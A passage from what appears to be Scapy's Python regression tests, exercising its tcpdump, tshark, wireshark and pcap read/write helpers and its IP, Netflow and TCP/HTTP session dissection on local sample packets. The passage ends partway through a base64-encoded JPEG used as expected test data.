\x00\x91|\x00\x000}$]\x87i\t\x00*\x00\x00\x00*\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r0}$]\xfbp\t\x00*\x00\x00\x00*\x00\x00\x00\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') data = tcpdump(pcapfile, dump=True, args=['-nn']).split(b'\n') print(data) assert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0] assert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1] assert b'127.0.0.1 > 127.0.0.1:' in data[2] * Non existing tcpdump binary import mock conf_prog_tcpdump = conf.prog.tcpdump conf.prog.tcpdump = "tcpdump_fake" def _test_tcpdump_notcpdump(): try: tcpdump(IP()/TCP()) assert False except: assert True _test_tcpdump_notcpdump() conf.prog.tcpdump = conf_prog_tcpdump # Also check with use_tempfile=True (for non-OSX platforms) pcapfile.seek(0) or None tempfile_count = len(conf.temp_files) data = tcpdump(pcapfile, dump=True, args=['-nn'], use_tempfile=True).split(b'\n') print(data) assert b'127.0.0.1.20 > 127.0.0.1.80:' in data[0] assert b'127.0.0.1.53 > 127.0.0.1.53:' in data[1] assert b'127.0.0.1 > 127.0.0.1:' in data[2] # We should have another tempfile tracked. assert len(conf.temp_files) > tempfile_count # Check with a simple packet data = tcpdump([Ether()/IP()/ICMP()], dump=True, args=['-nn']).split(b'\n') print(data) assert b'127.0.0.1 > 127.0.0.1: ICMP' in data[0].upper() = Check tcpdump() command with linktype ~ tcpdump f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch( stdin=f, wait=lambda: None)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): tcpdump([pkt], linktype="DLT_EN3MB", use_tempfile=False) popen.assert_called_once_with( [conf.prog.tcpdump, '-y', 'EN3MB', '-r', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check tcpdump() command with linktype and args ~ tcpdump f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch( stdin=f, wait=lambda: None)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): tcpdump([pkt], linktype=scapy.data.DLT_EN10MB, use_tempfile=False) popen.assert_called_once_with( [conf.prog.tcpdump, '-y', 'EN10MB', '-r', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check tcpdump() command rejects non-string input for prog pkt = Ether()/IP()/ICMP() try: tcpdump([pkt], prog=+17607067425, args=['-nn']) except ValueError as e: if hasattr(e, 'args'): assert 'prog' in e.args[0] else: assert 'prog' in e.message else: assert False, 'expected exception' = Check tcpdump() command with tshark ~ tshark pcapfile = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00e\x00\x00\x00\xcf\xc5\xacVo*\n\x00(\x00\x00\x00(\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x06|\xcd\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91|\x00\x00\xcf\xc5\xacV_-\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x11|\xce\x7f\x00\x00\x01\x7f\x00\x00\x01\x005\x005\x00\x08\x01r\xcf\xc5\xacV\xf90\n\x00\x1c\x00\x00\x00\x1c\x00\x00\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) values = [tuple(int(val) for val in line[:-1].split(b'\t')) for line in tcpdump(pcapfile, prog=conf.prog.tshark, getfd=True, args=['-T', 'fields', '-e', 'ip.ttl', '-e', 'ip.proto'])] assert values == [(64, 6), (64, 17), (64, 1)] assert len(conf.temp_files) == tempfile_count = Check tdecode command directly for tshark ~ tshark pkts = [ Ether()/IP(src='192.0.2.1', dst='192.0.2.2')/ICMP(type='echo-request')/Raw(b'X'*100), Ether()/IP(src='192.0.2.2', dst='192.0.2.1')/ICMP(type='echo-reply')/Raw(b'X'*100), ] # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) r = tdecode(pkts, dump=True) r assert b'Src: 192.0.2.1' in r assert b'Src: 192.0.2.2' in r assert b'Dst: 192.0.2.2' in r assert b'Dst: 192.0.2.1' in r assert b'Echo (ping) request' in r assert b'Echo (ping) reply' in r assert b'ICMP' in r assert len(conf.temp_files) == tempfile_count = Check tdecode with linktype ~ tshark # These are the same as the ping packets above pkts = [ b'\xff\xff\xff\xff\xff\xff\xac"\x0b\xc5j\xdb\x08\x00E\x00\x00\x80\x00\x01\x00\x00@\x01\xf6x\xc0\x00\x02\x01\xc0\x00\x02\x02\x08\x00\xb6\xbe\x00\x00\x00\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', b'\xff\xff\xff\xff\xff\xff\xac"\x0b\xc5j\xdb\x08\x00E\x00\x00\x80\x00\x01\x00\x00@\x01\xf6x\xc0\x00\x02\x02\xc0\x00\x02\x01\x00\x00\xbe\xbe\x00\x00\x00\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX', ] # tshark doesn't need workarounds on OSX tempfile_count = len(conf.temp_files) r = tdecode(pkts, dump=True, linktype=DLT_EN10MB) assert b'Src: 192.0.2.1' in r assert b'Src: 192.0.2.2' in r assert b'Dst: 192.0.2.2' in r assert b'Dst: 192.0.2.1' in r assert b'Echo (ping) request' in r assert b'Echo (ping) reply' in r assert b'ICMP' in r assert len(conf.temp_files) == tempfile_count = Run scapy's tshark command ~ netaccess tshark(count=1, timeout=3) = Check wireshark() ~ wireshark f = BytesIO() pkt = Ether()/IP()/ICMP() with mock.patch('subprocess.Popen', return_value=Bunch(stdin=f)) as popen: # Prevent closing the BytesIO with mock.patch.object(f, 'close'): wireshark([pkt]) popen.assert_called_once_with( [conf.prog.wireshark, '-ki', '-'], stdin=subprocess.PIPE, stdout=None, stderr=None) print(bytes_hex(f.getvalue())) assert raw(pkt) in f.getvalue() f.close() del f, pkt = Check Raw IP pcap files import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, [IP()/UDP(), IPv6()/UDP()], linktype=DLT_RAW) packets = rdpcap(filename) assert(isinstance(packets[0], IP) and isinstance(packets[1], IPv6)) = Check wrpcap() with no packet import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, []) fstat = os.stat(filename) assert fstat.st_size != 0 os.remove(filename) = Check wrpcap() with SndRcvList import tempfile filename = tempfile.mktemp(suffix=".pcap") wrpcap(filename, SndRcvList(res=[(Ether()/IP(), Ether()/IP())])) assert len(rdpcap(filename)) == 2 os.remove(filename) = Check wrpcap() with different packets types import mock import os import tempfile with mock.patch("scapy.utils.warning") as warning: filename = tempfile.mktemp() wrpcap(filename, [IP(), Ether(), IP(), IP()]) os.remove(filename) assert any("Inconsistent" in arg for arg in warning.call_args[0]) ############ ############ + Sessions = IPSession - dissect fragmented IP packets on-the-flow packet = IP()/("data"*1000) frags = fragment(packet) tmp_file = get_temp_file() wrpcap(tmp_file, frags) dissected_packets = [] def callback(pkt): dissected_packets.append(pkt) sniff(offline=tmp_file, session=IPSession, prn=callback) assert len(dissected_packets) == 1 assert raw(dissected_packets[0]) == raw(packet) = NetflowSession - dissect packet NetflowV9 packets on-the-flow import os tmp = "/test/pcaps/netflowv9.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename dissected_packets = [] def callback(pkt): dissected_packets.append(pkt) sniff(offline=filename, session=NetflowSession, prn=callback) records = dissected_packets[3][NetflowDataflowsetV9].records assert len(records) == 24 assert records[0].IPV4_SRC_ADDR == '20.0.1.174' assert records[0].IPV4_NEXT_HOP == '10.100.103.1' = StringBuffer buffer = StringBuffer() assert not buffer buffer.append(b"kie", 5) buffer.append(b"e", 11) buffer.append(b"pi", 2) buffer.append(b"pi", 9) buffer.append(b"n", 4) assert bytes_hex(bytes(buffer)) == b'0070696e6b696500706965' assert len(buffer) == 11 assert buffer = TCPSession - dissect HTTP 1.0 chunked image ~ http load_layer("http") import os tmp = "/test/pcaps/http_chunk.pcap.gz" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename a = sniff(offline=filename, session=TCPSession) a[2].show() assert HTTPRequest in a[2] assert a[2].Path == b'/httpgallery/chunked/chunkedimage.aspx?0.2911017199439567' assert a[2].Accept_Encoding == b'gzip, deflate' assert a[2].Accept == b'image/webp,image/apng,image/*,*/*;q=0.8' assert a[2].Http_Version == b'HTTP/1.1' assert a[2].Referer == b'http://www.httpwatch.com/httpgallery/chunked/' a[29].show() assert HTTPResponse in a[29] assert a[29].Transfer_Encoding == b"chunked" assert a[29].Content_Type == b'image/jpeg; charset=utf-8' assert a[29].Http_Version == b'HTTP/1.1' assert a[29].Status_Code == b"200" assert a[29].Reason_Phrase == b"OK" assert len(a[29].load) == 33653 # According to wireshark: wireshark_data = b'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